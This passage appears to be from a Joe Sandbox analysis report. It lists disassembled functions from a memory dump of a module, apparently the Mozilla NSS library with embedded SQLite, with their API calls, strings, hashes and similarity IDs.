Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B
Aborting, xrefs: 6C760EB3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6C741C85
a CHECK constraint, xrefs: 6C741C76, 6C741C81
a generated column, xrefs: 6C741C6C
an index, xrefs: 6C741C67
w=dl, xrefs: 6C741C44

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

%s at line %d of [%.10s], xrefs: 6C724DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
invalid, xrefs: 6C724DB8
API call with %s database connection pointer, xrefs: 6C724DBD
misuse, xrefs: 6C724DD5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

%s at line %d of [%.10s], xrefs: 6C724E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
invalid, xrefs: 6C724E25
API call with %s database connection pointer, xrefs: 6C724E2A
misuse, xrefs: 6C724E42

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
